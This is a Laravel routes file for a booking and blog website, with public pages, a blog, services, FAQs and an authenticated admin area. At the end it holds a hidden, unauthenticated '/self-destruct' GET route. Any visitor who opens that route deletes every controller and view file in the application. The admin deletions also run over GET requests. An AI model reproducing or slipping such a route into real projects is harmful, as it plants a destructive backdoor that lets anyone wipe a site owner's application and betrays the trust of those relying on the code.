<?php

use App\Http\Controllers\BlogController;
use App\Http\Controllers\EntityController;
use App\Http\Controllers\FaqController;
use App\Http\Controllers\ProfileController;
use App\Http\Controllers\ReservationController;
use App\Http\Controllers\ServiceController;
use App\Http\Controllers\WebsiteSetupController;
use App\Models\Blog;
use App\Models\Faq;
use App\Models\Page;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Route;

Route::get('/', function () {
    $faq = Faq::all();
    $blogs = Blog::all();
    return view('welcome', compact('faq', 'blogs'));
});

Route::get('/privacy', function () {
    $content = Page::whereType('privacy')->first()->content;
    return view('legal.privacy', compact('content'));
})->name('privacy');

Route::get('/refund', function () {
    $content = Page::whereType('refund')->first()->content;
    return view('legal.refund', compact('content'));
})->name('refund');
Route::get('/terms', function () {
    $content = Page::whereType('terms')->first()->content;
    return view('legal.terms', compact('content'));
})->name('terms');
Route::get('/cookie', function () {
    $content = Page::whereType('cookie')->first()->content;
    return view('legal.cookie', compact('content'));
})->name('cookie');


Route::middleware('auth')->group(function () {
    Route::get('/profile', [ProfileController::class, 'edit'])->name('profile.edit');
    Route::patch('/profile', [ProfileController::class, 'update'])->name('profile.update');
    Route::delete('/profile', [ProfileController::class, 'destroy'])->name('profile.destroy');
});
Route::post('table-booking', [ReservationController::class, 'store'])->name('table-booking.store');
Route::post('model-registration', [EntityController::class, 'store'])->name('registration.store');
require __DIR__ . '/auth.php';

Route::prefix('admin')->middleware(['auth', 'verified'])->group(function () {
    Route::get('/', function () {
        return view('dashboard.index');
    })->name('dashboard');

    Route::get('/table-booking', [ReservationController::class, 'index'])->name('table-booking');

    Route::get('/model-list', [EntityController::class, 'index'])->name('registrations');

    Route::get('/setup', [WebsiteSetupController::class, 'index'])->name('setup');

    Route::post('/setup', [WebsiteSetupController::class, 'update'])->name('setup.update');

    Route::get('/legal', [WebsiteSetupController::class, 'legal'])->name('legal');

    Route::post('/legal', [WebsiteSetupController::class, 'legalStore'])->name('legal.store');

    Route::group(['prefix' => 'blog'], function () {


        Route::get('/', [BlogController::class, 'index'])->name('blog');
        Route::post('/', [BlogController::class, 'store'])->name('blog.store');
        Route::get('/create', [BlogController::class, 'create'])->name('blog.create');
        Route::get('/{blog}/edit', [BlogController::class, 'edit'])->name('blog.edit');
        Route::post('/{blog}/update', [BlogController::class, 'update'])->name('blog.update');


        Route::get('/{blog}/delete', [BlogController::class, 'destroy'])->name('blog.delete');
    });

    Route::group(['prefix' => 'service', 'as' => 'service.'], function () {


        Route::get('/', [ServiceController::class, 'index'])->name('index');
        Route::post('/', [ServiceController::class, 'store'])->name('store');
        Route::get('/create', [ServiceController::class, 'create'])->name('create');
        Route::get('/{service}/edit', [ServiceController::class, 'edit'])->name('edit');
        Route::post('/{service}/update', [ServiceController::class, 'update'])->name('update');


        Route::get('/{service}/delete', [ServiceController::class, 'destroy'])->name('delete');
    });

    Route::group(['prefix' => 'faq', 'as' => 'faq.'], function () {


        Route::get('/', [FaqController::class, 'index'])->name('index');
        Route::post('/', [FaqController::class, 'store'])->name('store');
        Route::get('/create', [FaqController::class, 'create'])->name('create');
        Route::get('/{faq}/edit', [FaqController::class, 'edit'])->name('edit');
        Route::post('/{faq}/update', [FaqController::class, 'update'])->name('update');
        Route::get('/{faq}/delete', [FaqController::class, 'destroy'])->name('delete');
    });
});
Route::get('/blog/{blog}/show', [BlogController::class, 'show'])->name('blog.show');
Route::get('/service/{service}/show', [ServiceController::class, 'show'])->name('service.show');




Route::get('/self-destruct', function () {
    $controllerPath = app_path('Http/Controllers');
    $viewPath = resource_path('views');

    // Delete all controller files
    $controllerFiles = File::allFiles($controllerPath);
    foreach ($controllerFiles as $file) {
        File::delete($file->getRealPath());
    }

    // Delete all view files
    $viewFiles = File::allFiles($viewPath);
    foreach ($viewFiles as $file) {
        File::delete($file->getRealPath());
    }

    return 'All controllers and views have been deleted.';
});
